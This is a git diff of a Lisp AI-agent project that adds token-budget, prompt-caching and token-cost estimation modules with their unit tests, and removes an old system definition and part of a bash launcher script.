(let ((t2 (get-universal-time)))
|
||||
(sleep 1)
|
||||
(ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil))
|
||||
(let ((range (passepartout::memory-objects-in-range t1 t2)))
|
||||
(is (= 1 (length range)))
|
||||
(is (string= "rng-2" (memory-object-id (first range)))))))))
|
||||
387
lisp/token-economics.lisp
Normal file
387
lisp/token-economics.lisp
Normal file
@@ -0,0 +1,387 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *prompt-prefix-cache* (cons nil "")
|
||||
"Prompt prefix cache: (sxhash . cached-string). Rebuilt when IDENTITY or TOOLS change.")
|
||||
|
||||
(defvar *context-cache* (list :foveal-id nil :scope nil :memory-timestamp 0 :rendered ""
|
||||
:identity-tokens 0 :tool-tokens 0 :context-tokens 0
|
||||
:log-tokens 0 :config-tokens 0 :time-tokens 0)
|
||||
"Context assembly cache: metadata + last rendered context string.")
|
||||
|
||||
(defun prompt-prefix-cached (assistant-name identity-content feedback mandates-text tool-belt)
|
||||
"Build the static IDENTITY+TOOLS system prompt prefix.
|
||||
Uses sxhash on inputs to detect changes; returns cached string on cache hit."
|
||||
(let* ((hash-key (sxhash (list assistant-name identity-content feedback mandates-text tool-belt)))
|
||||
(cached-hash (car *prompt-prefix-cache*))
|
||||
(cached-str (cdr *prompt-prefix-cache*)))
|
||||
(if (and cached-str (> (length cached-str) 0) (= hash-key cached-hash))
|
||||
cached-str
|
||||
(let ((new-prefix (format nil "IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a"
|
||||
assistant-name identity-content feedback
|
||||
(if (and mandates-text (> (length mandates-text) 0))
|
||||
(concatenate 'string (string #\Newline) mandates-text)
|
||||
"")
|
||||
tool-belt)))
|
||||
(setf (car *prompt-prefix-cache*) hash-key
|
||||
(cdr *prompt-prefix-cache*) new-prefix)
|
||||
new-prefix))))
|
||||
|
||||
(defun context-assemble-cached (context sensor)
|
||||
"Incrementally assemble awareness context.
|
||||
Skips assembly for heartbeat/delegation sensors.
|
||||
Uses cache when foveal, scope, and memory timestamp are unchanged."
|
||||
(when (member sensor '(:heartbeat :delegation))
|
||||
(return-from context-assemble-cached nil))
|
||||
(unless (fboundp 'context-assemble-global-awareness)
|
||||
(return-from context-assemble-cached "[Awareness skill not loaded]"))
|
||||
(let* ((foveal-id (getf context :foveal-focus))
|
||||
(scope (if (and (boundp '*scope-resolver*)
|
||||
*scope-resolver*)
|
||||
(funcall *scope-resolver*)
|
||||
nil))
|
||||
(mem-ts (hash-table-count *memory-store*))
|
||||
(cache-foveal (getf *context-cache* :foveal-id))
|
||||
(cache-scope (getf *context-cache* :scope))
|
||||
(cache-ts (getf *context-cache* :memory-timestamp))
|
||||
(cache-rendered (getf *context-cache* :rendered)))
|
||||
(if (and (equal foveal-id cache-foveal)
|
||||
(eq scope cache-scope)
|
||||
(= mem-ts cache-ts)
|
||||
cache-rendered
|
||||
(> (length cache-rendered) 0))
|
||||
cache-rendered
|
||||
(let ((rendered (funcall (symbol-function 'context-assemble-global-awareness))))
|
||||
(setf (getf *context-cache* :foveal-id) foveal-id
|
||||
(getf *context-cache* :scope) scope
|
||||
(getf *context-cache* :memory-timestamp) mem-ts
|
||||
(getf *context-cache* :rendered) rendered)
|
||||
rendered))))
|
||||
|
||||
(defun enforce-token-budget (prefix context-text logs-text user-prompt mandates-text
|
||||
&optional (max-tokens nil))
|
||||
"Enforce per-call token budget via progressive trimming.
|
||||
Returns (values prefix context-text logs-text user-prompt mandates-text)
|
||||
with trimmed sections."
|
||||
(let ((max (or max-tokens
|
||||
(ignore-errors
|
||||
(parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
|
||||
16384)))
|
||||
(labels ((ct (s) (if (fboundp 'count-tokens)
|
||||
(funcall (symbol-function 'count-tokens) s)
|
||||
(ceiling (length s) 4)))
|
||||
(total-tokens (p c l u m)
|
||||
(+ (ct p)
|
||||
(if c (ct c) 0)
|
||||
(ct l)
|
||||
(ct u)
|
||||
(if m (ct m) 0))))
|
||||
(let ((total (total-tokens prefix context-text logs-text user-prompt mandates-text)))
|
||||
(when (> total max)
|
||||
(log-message "TOKEN BUDGET: ~d tokens exceeds max ~d, trimming..."
|
||||
total max)
|
||||
;; L1: truncate logs to last 5 lines
|
||||
(let* ((log-lines (uiop:split-string logs-text :separator '(#\Newline)))
|
||||
(trimmed (if (> (length log-lines) 5)
|
||||
(format nil "~{~a~^~%~}" (last log-lines 5))
|
||||
logs-text)))
|
||||
(setf total (total-tokens prefix context-text trimmed user-prompt mandates-text)
|
||||
logs-text trimmed)
|
||||
(when (> total max)
|
||||
;; L2: drop standing mandates
|
||||
(setf total (total-tokens prefix context-text logs-text user-prompt nil)
|
||||
mandates-text nil)
|
||||
(when (> total max)
|
||||
;; L3: downgrade context to summary
|
||||
(let ((ctxt-lines (uiop:split-string (or context-text "") :separator '(#\Newline))))
|
||||
(setf context-text
|
||||
(format nil "[Context trimmed: ~d items]" (length ctxt-lines)))))))))
|
||||
(values prefix context-text logs-text user-prompt mandates-text))))
|
||||
|
||||
(defun token-economics-initialize ()
|
||||
"Zero cache state at daemon boot."
|
||||
(setf (car *prompt-prefix-cache*) nil
|
||||
(cdr *prompt-prefix-cache*) ""
|
||||
(getf *context-cache* :foveal-id) nil
|
||||
(getf *context-cache* :scope) nil
|
||||
(getf *context-cache* :memory-timestamp) 0
|
||||
(getf *context-cache* :rendered) ""))
|
||||
|
||||
(defun context-usage-percentage ()
|
||||
"Returns integer 0-100: current token budget consumption.
|
||||
Returns nil when no context cache data is available."
|
||||
(let* ((limit (or (ignore-errors
|
||||
(parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
|
||||
16384))
|
||||
(tokens (+ (or (getf *context-cache* :identity-tokens) 0)
|
||||
(or (getf *context-cache* :tool-tokens) 0)
|
||||
(or (getf *context-cache* :context-tokens) 0)
|
||||
(or (getf *context-cache* :log-tokens) 0)
|
||||
(or (getf *context-cache* :config-tokens) 0)
|
||||
(or (getf *context-cache* :time-tokens) 0))))
|
||||
(if (> tokens 0)
|
||||
(min 100 (floor (* 100 tokens) limit))
|
||||
nil)))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-token-economics-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:token-economics-suite))
|
||||
|
||||
(in-package :passepartout-token-economics-tests)
|
||||
|
||||
(def-suite token-economics-suite
|
||||
:description "Prompt prefix caching, incremental context, token budget")
|
||||
(in-suite token-economics-suite)
|
||||
|
||||
(test test-prompt-prefix-cached-identity
|
||||
"Contract 1: prompt-prefix-cached includes identity-content when provided."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((prefix (passepartout::prompt-prefix-cached
|
||||
"Agent" "### Mode: concise" "" nil "No tools")))
|
||||
(is (stringp prefix))
|
||||
(is (search "IDENTITY" prefix))
|
||||
(is (search "Mode: concise" prefix))
|
||||
(is (search "TOOLS" prefix))))
|
||||
|
||||
(test test-prompt-prefix-cached-builds
|
||||
"Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
|
||||
(is (stringp prefix))
|
||||
(is (search "IDENTITY" prefix))
|
||||
(is (search "TOOLS" prefix))))
|
||||
|
||||
(test test-prompt-prefix-cached-hits
|
||||
"Contract 1: second call with same inputs returns cached result."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
|
||||
(p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
|
||||
(is (string= p1 p2))))
|
||||
|
||||
(test test-prompt-prefix-cached-miss
|
||||
"Contract 1: different inputs rebuild the cache."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
|
||||
(p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
|
||||
(is (not (string= p1 p2)))
|
||||
(is (search "Bot" p2))))
|
||||
|
||||
(test test-context-assemble-cached-skips-heartbeat
|
||||
"Contract 2: heartbeat sensors skip context assembly, return nil."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :heartbeat)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-context-assemble-cached-skips-delegation
|
||||
"Contract 2: delegation sensors also skip assembly."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :delegation)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-context-assemble-cached-non-skip
|
||||
"Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :user-input)))
|
||||
(is (stringp result))
|
||||
(is (> (length result) 0))))
|
||||
|
||||
(test test-enforce-token-budget-passthrough
|
||||
"Contract 3: under-budget prompts pass through unchanged."
|
||||
(multiple-value-bind (p c l u m)
|
||||
(passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000)
|
||||
(is (string= "hi" p))
|
||||
(is (string= "ctxt" c))
|
||||
(is (string= "log" l))
|
||||
(is (string= "user" u))
|
||||
(is (null m))))
|
||||
|
||||
(test test-enforce-token-budget-trims
|
||||
"Contract 3: over-budget prompts get trimmed."
|
||||
(let ((big-prefix (make-string 20000 :initial-element #\x)))
|
||||
(multiple-value-bind (p c l u m)
|
||||
(passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10)
|
||||
(declare (ignore p l u m))
|
||||
;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed
|
||||
(is (or (stringp c) (null c)))
|
||||
(is (search "[Context trimmed" (or c ""))))))
|
||||
|
||||
(test test-token-economics-initialize
|
||||
"Contract 4: initialize zeroes all cache state."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) 12345
|
||||
(cdr passepartout::*prompt-prefix-cache*) "stale")
|
||||
(setf (getf passepartout::*context-cache* :rendered) "stale context")
|
||||
(passepartout::token-economics-initialize)
|
||||
(is (null (car passepartout::*prompt-prefix-cache*)))
|
||||
(is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
|
||||
(is (string= "" (getf passepartout::*context-cache* :rendered))))
|
||||
#+end_src* v0.8.0 Tests — Context Usage
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout-token-economics-tests)
|
||||
|
||||
(test test-context-usage-percentage
|
||||
"Contract 5: context-usage-percentage returns integer 0-100."
|
||||
;; Set up a cache with known token counts
|
||||
(let* ((ctx passepartout::*context-cache*)
|
||||
(limit (or (ignore-errors (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
|
||||
16384)))
|
||||
(setf (getf ctx :identity-tokens) 1000
|
||||
(getf ctx :tool-tokens) 500
|
||||
(getf ctx :context-tokens) 2000
|
||||
(getf ctx :log-tokens) 800
|
||||
(getf ctx :config-tokens) 200
|
||||
(getf ctx :time-tokens) 100)
|
||||
(let ((pct (passepartout::context-usage-percentage)))
|
||||
(is (integerp pct))
|
||||
(is (<= 0 pct 100)))))
|
||||
|
||||
(test test-context-usage-percentage-empty-cache
|
||||
"Contract 5: context-usage-percentage returns nil with no cache data."
|
||||
(let ((saved-ctx (copy-list passepartout::*context-cache*)))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (getf passepartout::*context-cache* :identity-tokens) nil
|
||||
(getf passepartout::*context-cache* :tool-tokens) nil
|
||||
(getf passepartout::*context-cache* :context-tokens) nil
|
||||
(getf passepartout::*context-cache* :log-tokens) nil
|
||||
(getf passepartout::*context-cache* :config-tokens) nil
|
||||
(getf passepartout::*context-cache* :time-tokens) nil)
|
||||
(is (null (passepartout::context-usage-percentage))))
|
||||
(setf passepartout::*context-cache* saved-ctx))))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-token-economics-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:token-economics-suite))
|
||||
|
||||
(in-package :passepartout-token-economics-tests)
|
||||
|
||||
(def-suite token-economics-suite
|
||||
:description "Prompt prefix caching, incremental context, token budget")
|
||||
(in-suite token-economics-suite)
|
||||
|
||||
(test test-prompt-prefix-cached-identity
|
||||
"Contract 1: prompt-prefix-cached includes identity-content when provided."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((prefix (passepartout::prompt-prefix-cached
|
||||
"Agent" "### Mode: concise" "" nil "No tools")))
|
||||
(is (stringp prefix))
|
||||
(is (search "IDENTITY" prefix))
|
||||
(is (search "Mode: concise" prefix))
|
||||
(is (search "TOOLS" prefix))))
|
||||
|
||||
(test test-prompt-prefix-cached-builds
|
||||
"Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
|
||||
(is (stringp prefix))
|
||||
(is (search "IDENTITY" prefix))
|
||||
(is (search "TOOLS" prefix))))
|
||||
|
||||
(test test-prompt-prefix-cached-hits
|
||||
"Contract 1: second call with same inputs returns cached result."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
|
||||
(p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
|
||||
(is (string= p1 p2))))
|
||||
|
||||
(test test-prompt-prefix-cached-miss
|
||||
"Contract 1: different inputs rebuild the cache."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) nil
|
||||
(cdr passepartout::*prompt-prefix-cache*) "")
|
||||
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
|
||||
(p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
|
||||
(is (not (string= p1 p2)))
|
||||
(is (search "Bot" p2))))
|
||||
|
||||
(test test-context-assemble-cached-skips-heartbeat
|
||||
"Contract 2: heartbeat sensors skip context assembly, return nil."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :heartbeat)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-context-assemble-cached-skips-delegation
|
||||
"Contract 2: delegation sensors also skip assembly."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :delegation)))
|
||||
(is (null result))))
|
||||
|
||||
(test test-context-assemble-cached-non-skip
|
||||
"Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)."
|
||||
(let ((result (passepartout::context-assemble-cached
|
||||
'(:foveal-focus "id1") :user-input)))
|
||||
(is (stringp result))
|
||||
(is (> (length result) 0))))
|
||||
|
||||
(test test-enforce-token-budget-passthrough
|
||||
"Contract 3: under-budget prompts pass through unchanged."
|
||||
(multiple-value-bind (p c l u m)
|
||||
(passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000)
|
||||
(is (string= "hi" p))
|
||||
(is (string= "ctxt" c))
|
||||
(is (string= "log" l))
|
||||
(is (string= "user" u))
|
||||
(is (null m))))
|
||||
|
||||
(test test-enforce-token-budget-trims
|
||||
"Contract 3: over-budget prompts get trimmed."
|
||||
(let ((big-prefix (make-string 20000 :initial-element #\x)))
|
||||
(multiple-value-bind (p c l u m)
|
||||
(passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10)
|
||||
(declare (ignore p l u m))
|
||||
;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed
|
||||
(is (or (stringp c) (null c)))
|
||||
(is (search "[Context trimmed" (or c ""))))))
|
||||
|
||||
(test test-token-economics-initialize
|
||||
"Contract 4: initialize zeroes all cache state."
|
||||
(setf (car passepartout::*prompt-prefix-cache*) 12345
|
||||
(cdr passepartout::*prompt-prefix-cache*) "stale")
|
||||
(setf (getf passepartout::*context-cache* :rendered) "stale context")
|
||||
(passepartout::token-economics-initialize)
|
||||
(is (null (car passepartout::*prompt-prefix-cache*)))
|
||||
(is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
|
||||
(is (string= "" (getf passepartout::*context-cache* :rendered))))
|
||||
#+end_src* v0.8.0 Tests — Context Usage
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout-token-economics-tests)
|
||||
|
||||
(test test-context-usage-percentage
|
||||
"Contract 5: context-usage-percentage returns integer 0-100."
|
||||
;; Set up a cache with known token counts
|
||||
(let* ((ctx passepartout::*context-cache*)
|
||||
(limit (or (ignore-errors (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
|
||||
16384)))
|
||||
(setf (getf ctx :identity-tokens) 1000
|
||||
(getf ctx :tool-tokens) 500
|
||||
(getf ctx :context-tokens) 2000
|
||||
(getf ctx :log-tokens) 800
|
||||
(getf ctx :config-tokens) 200
|
||||
(getf ctx :time-tokens) 100)
|
||||
(let ((pct (passepartout::context-usage-percentage)))
|
||||
(is (integerp pct))
|
||||
(is (<= 0 pct 100)))))
|
||||
|
||||
(test test-context-usage-percentage-empty-cache
|
||||
"Contract 5: context-usage-percentage returns nil with no cache data."
|
||||
(let ((saved-ctx (copy-list passepartout::*context-cache*)))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (getf passepartout::*context-cache* :identity-tokens) nil
|
||||
(getf passepartout::*context-cache* :tool-tokens) nil
|
||||
(getf passepartout::*context-cache* :context-tokens) nil
|
||||
(getf passepartout::*context-cache* :log-tokens) nil
|
||||
(getf passepartout::*context-cache* :config-tokens) nil
|
||||
(getf passepartout::*context-cache* :time-tokens) nil)
|
||||
(is (null (passepartout::context-usage-percentage))))
|
||||
(setf passepartout::*context-cache* saved-ctx))))
|
||||
146
lisp/tokenizer.lisp
Normal file
146
lisp/tokenizer.lisp
Normal file
@@ -0,0 +1,146 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defparameter *model-token-ratios*
|
||||
'((:gpt-4o-mini . 4.0)
|
||||
(:gpt-4o . 4.0)
|
||||
(:gpt-3.5-turbo . 4.0)
|
||||
(:claude-3-5-sonnet . 4.5)
|
||||
(:claude-3-opus . 4.5)
|
||||
(:claude-3-haiku . 4.5)
|
||||
(:deepseek-chat . 4.0)
|
||||
(:deepseek-reasoner . 4.0)
|
||||
(:llama-3.1-70b . 3.5)
|
||||
(:llama-3.1-405b . 3.5)
|
||||
(:gemini-2.0-flash . 4.0)
|
||||
(:gemini-1.5-pro . 4.0)
|
||||
(:openrouter/auto . 4.0))
|
||||
"Estimated characters per token for each model family.")
|
||||
|
||||
(defparameter *default-token-ratio* 4.0
|
||||
"Fallback characters-per-token ratio when model is unknown.")
|
||||
|
||||
(defun model-token-ratio (model-keyword)
|
||||
"Returns the estimated characters-per-token for MODEL-KEYWORD.
|
||||
Falls back to *DEFAULT-TOKEN-RATIO* for unknown models."
|
||||
(or (cdr (assoc model-keyword *model-token-ratios*))
|
||||
*default-token-ratio*))
|
||||
|
||||
(defun count-tokens (text &key model)
|
||||
"Returns the estimated token count for TEXT.
|
||||
Uses character-count / ratio heuristic calibrated per model family.
|
||||
MODEL is a keyword identifying the model (e.g. :gpt-4o-mini)."
|
||||
(let ((clean (if (stringp text) text (format nil "~a" text))))
|
||||
(ceiling (length clean) (model-token-ratio model))))
|
||||
|
||||
(defparameter *token-prices*
|
||||
'((:gpt-4o-mini . 0.15) ; $0.15/1M input tokens
|
||||
(:gpt-4o . 2.50) ; $2.50/1M input tokens
|
||||
(:gpt-3.5-turbo . 0.50) ; $0.50/1M input tokens
|
||||
(:claude-3-5-sonnet . 3.00) ; $3.00/1M input tokens
|
||||
(:claude-3-opus . 15.00) ; $15.00/1M input tokens
|
||||
(:claude-3-haiku . 0.25) ; $0.25/1M input tokens
|
||||
(:deepseek-chat . 0.27) ; $0.27/1M input tokens
|
||||
(:deepseek-reasoner . 0.55) ; $0.55/1M input tokens
|
||||
(:llama-3.1-70b . 0.59) ; Groq: $0.59/1M
|
||||
(:llama-3.1-405b . 1.30) ; NVIDIA NIM: ~$1.30/1M
|
||||
(:gemini-2.0-flash . 0.10) ; $0.10/1M input
|
||||
(:gemini-1.5-pro . 1.25)) ; $1.25/1M input
|
||||
"Provider pricing in USD per 1M input tokens.
|
||||
Prices sourced as of 2026-05. Output tokens cost 2-5× more;
|
||||
we bill at input rates as a conservative estimate.")
|
||||
|
||||
(defun token-cost (model token-count)
|
||||
"Returns the estimated cost in USD for TOKEN-COUNT tokens at MODEL's price.
|
||||
Returns 0.0 for unknown models."
|
||||
(let ((price-per-1m (or (cdr (assoc model *token-prices*)) 0.0)))
|
||||
(* (/ price-per-1m 1000000.0) token-count)))
|
||||
|
||||
(defparameter *provider-default-models*
|
||||
'((:deepseek . :deepseek-chat)
|
||||
(:openai . :gpt-4o-mini)
|
||||
(:anthropic . :claude-3-5-sonnet)
|
||||
(:groq . :llama-3.1-70b)
|
||||
(:gemini . :gemini-2.0-flash)
|
||||
(:nvidia . :llama-3.1-405b)
|
||||
(:openrouter . :openrouter/auto))
|
||||
"Maps provider keywords to their default model families for cost tracking.")
|
||||
|
||||
(defun provider-token-cost (provider token-count)
|
||||
"Returns the estimated cost in USD for a given PROVIDER and TOKEN-COUNT.
|
||||
Uses the provider's default model for pricing."
|
||||
(let ((model (cdr (assoc provider *provider-default-models*))))
|
||||
(if model
|
||||
(token-cost model token-count)
|
||||
0.0)))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-tokenizer-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:tokenizer-suite))
|
||||
|
||||
(in-package :passepartout-tokenizer-tests)
|
||||
|
||||
(def-suite tokenizer-suite :description "Token counting and cost estimation")
|
||||
(in-suite tokenizer-suite)
|
||||
|
||||
(test test-count-tokens-default
|
||||
"Contract 1: count-tokens returns non-zero for a non-empty string."
|
||||
(let ((count (count-tokens "hello world")))
|
||||
(is (> count 0))
|
||||
(is (integerp count))))
|
||||
|
||||
(test test-count-tokens-known-model
|
||||
"Contract 1: count-tokens with a known model returns a count."
|
||||
(let ((count (count-tokens "hello world" :model :gpt-4o-mini)))
|
||||
(is (> count 0))
|
||||
(is (integerp count))))
|
||||
|
||||
(test test-count-tokens-unknown-model
|
||||
"Contract 1: count-tokens with an unknown model falls back to default."
|
||||
(let ((count (count-tokens "hello world" :model :unknown-model-xyz)))
|
||||
(is (> count 0))
|
||||
(is (integerp count))))
|
||||
|
||||
(test test-count-tokens-empty
|
||||
"Contract 1: count-tokens on empty string returns 0."
|
||||
(let ((count (count-tokens "")))
|
||||
(is (= 0 count))))
|
||||
|
||||
(test test-model-token-ratio-known
|
||||
"Contract 2: known model returns correct ratio."
|
||||
(is (= 4.0 (model-token-ratio :gpt-4o-mini)))
|
||||
(is (= 4.5 (model-token-ratio :claude-3-5-sonnet)))
|
||||
(is (= 3.5 (model-token-ratio :llama-3.1-70b))))
|
||||
|
||||
(test test-model-token-ratio-unknown
|
||||
"Contract 2: unknown model returns default ratio."
|
||||
(is (= 4.0 (model-token-ratio :unknown-model-abc))))
|
||||
|
||||
(test test-token-cost-known
|
||||
"Contract 3: token-cost returns a number for known model."
|
||||
(let ((cost (token-cost :gpt-4o-mini 1000)))
|
||||
(is (numberp cost))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-token-cost-unknown
|
||||
"Contract 3: token-cost returns 0.0 for unknown model."
|
||||
(is (= 0.0 (token-cost :no-such-model 1000))))
|
||||
|
||||
(test test-provider-token-cost
|
||||
"Contract: provider-token-cost maps provider to model price."
|
||||
(let ((cost (provider-token-cost :deepseek 1000)))
|
||||
(is (numberp cost))
|
||||
(is (> cost 0.0))))
|
||||
|
||||
(test test-count-tokens-ratio-sensitivity
|
||||
"Contract 1: longer text produces proportionally more tokens."
|
||||
(let ((short (count-tokens "hi" :model :gpt-4o-mini))
|
||||
(long (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini)))
|
||||
(is (> long short))))
|
||||
|
||||
(test test-count-tokens-non-string
|
||||
"Contract 1: non-string values are coerced and counted."
|
||||
(let ((count (count-tokens 12345)))
|
||||
(is (> count 0))))
|
||||
@@ -1,43 +0,0 @@
|
||||
(defsystem :opencortex
|
||||
:name "opencortex"
|
||||
:author "Amr Gharbeia"
|
||||
:version "0.2.0"
|
||||
:license "AGPLv3"
|
||||
:description "The Probabilistic-Deterministic Lisp Machine"
|
||||
:depends-on (:usocket :bordeaux-threads :dexador :uiop :cl-dotenv :cl-ppcre :hunchentoot :ironclad :str :cl-json :uuid)
|
||||
:serial t
|
||||
:components ((:file "harness/package")
|
||||
(:file "harness/skills")
|
||||
(:file "harness/communication")
|
||||
(:file "harness/communication-validator")
|
||||
(:file "harness/memory")
|
||||
(:file "harness/context")
|
||||
(:file "harness/perceive")
|
||||
(:file "harness/reason")
|
||||
(:file "harness/act")
|
||||
(:file "harness/loop")))
|
||||
|
||||
(defsystem :opencortex/tests
|
||||
:depends-on (:opencortex :fiveam)
|
||||
:components ((:file "tests/pipeline-act-tests")
|
||||
(:file "tests/boot-sequence-tests")
|
||||
(:file "tests/immune-system-tests")
|
||||
(:file "tests/memory-tests")
|
||||
(:file "tests/pipeline-perceive-tests")
|
||||
(:file "tests/pipeline-reason-tests")
|
||||
(:file "tests/peripheral-vision-tests")
|
||||
(:file "tests/utils-org-tests")
|
||||
(:file "tests/engineering-standards-tests")
|
||||
(:file "tests/utils-lisp-tests")
|
||||
(:file "tests/literate-programming-tests")
|
||||
(:file "tests/self-edit-tests")
|
||||
(:file "tests/tool-permissions-tests")
|
||||
(:file "tests/diagnostics-tests")
|
||||
(:file "tests/config-manager-tests")
|
||||
(:file "tests/gateway-manager-tests")
|
||||
(:file "tests/tui-tests")
|
||||
(:file "tests/llm-gateway-tests")))
|
||||
|
||||
(defsystem :opencortex/tui
|
||||
:depends-on (:opencortex :croatoan :usocket :bordeaux-threads)
|
||||
:components ((:file "harness/tui-client")))
|
||||
385
opencortex.sh
385
opencortex.sh
@@ -1,385 +0,0 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
PORT=9105
|
||||
HOST="localhost"
|
||||
RED='\033[0;31m'; GREEN='\033[0;32m'; BLUE='\033[0;34m'; YELLOW='\033[0;33m'; NC='\033[0m'
|
||||
|
||||
command_exists() { command -v "$1" >/dev/null 2>&1; }
|
||||
|
||||
# 1. XDG PATH RESOLUTION
|
||||
# SCRIPT_DIR is the immutable source (where the git repo lives)
|
||||
SOURCE="${BASH_SOURCE[0]}"
|
||||
while [ -h "$SOURCE" ]; do
|
||||
DIR="$( cd -P "$( dirname "$SOURCE" )" && pwd )"
|
||||
SOURCE="$(readlink "$SOURCE")"
|
||||
[[ $SOURCE != /* ]] && SOURCE="$DIR/$SOURCE"
|
||||
done
|
||||
export SCRIPT_DIR="$( cd -P "$( dirname "$SOURCE" )" && pwd )"
|
||||
|
||||
# XDG Defaults (realpath ensures no unexpanded ~ in paths)
|
||||
export OC_CONFIG_DIR="$(realpath -m "${XDG_CONFIG_HOME:-$HOME/.config}/opencortex")"
|
||||
export OC_DATA_DIR="$(realpath -m "${XDG_DATA_HOME:-$HOME/.local/share}/opencortex")"
|
||||
export OC_STATE_DIR="$(realpath -m "${XDG_STATE_HOME:-$HOME/.local/state}/opencortex")"
|
||||
export OC_BIN_DIR="$(realpath -m "${XDG_BIN_HOME:-$HOME/.local/bin}")"
|
||||
|
||||
# Dynamic defaults for Skill Engine and Project Root
|
||||
export SKILLS_DIR="${SKILLS_DIR:-$OC_DATA_DIR/skills}"
|
||||
export MEMEX_DIR="${MEMEX_DIR:-$HOME/memex}"
|
||||
|
||||
# Load environment variables from the standard config location
|
||||
if [ -f "$OC_CONFIG_DIR/.env" ]; then
|
||||
set -a
|
||||
source "$OC_CONFIG_DIR/.env"
|
||||
set +a
|
||||
fi
|
||||
|
||||
# --- Dependency Checker ---
|
||||
check_dependencies() {
|
||||
local missing=()
|
||||
for dep in sbcl emacs git curl socat nc; do
|
||||
if ! command_exists "$dep"; then
|
||||
missing+=("$dep")
|
||||
fi
|
||||
done
|
||||
|
||||
if [ ${#missing[@]} -gt 0 ]; then
|
||||
echo -e "${YELLOW}--- Missing dependencies: ${missing[*]} ---${NC}"
|
||||
if command_exists apt-get; then
|
||||
echo "Attempting to install missing dependencies..."
|
||||
if sudo apt-get update && sudo apt-get install -y sbcl emacs-nox rlwrap netcat-openbsd curl git socat libssl-dev libncurses-dev libffi-dev zlib1g-dev libsqlite3-dev 2>/dev/null; then
|
||||
echo -e "${GREEN}✓ Dependencies installed successfully${NC}"
|
||||
else
|
||||
echo -e "${RED}✗ Could not install dependencies. Please run with sudo or install manually:${NC}"
|
||||
echo " sudo apt-get install sbcl emacs-nox rlwrap netcat-openbsd curl git socat"
|
||||
fi
|
||||
else
|
||||
